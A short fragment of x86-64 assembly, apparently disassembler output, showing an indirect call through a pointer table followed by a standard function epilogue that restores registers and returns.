call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret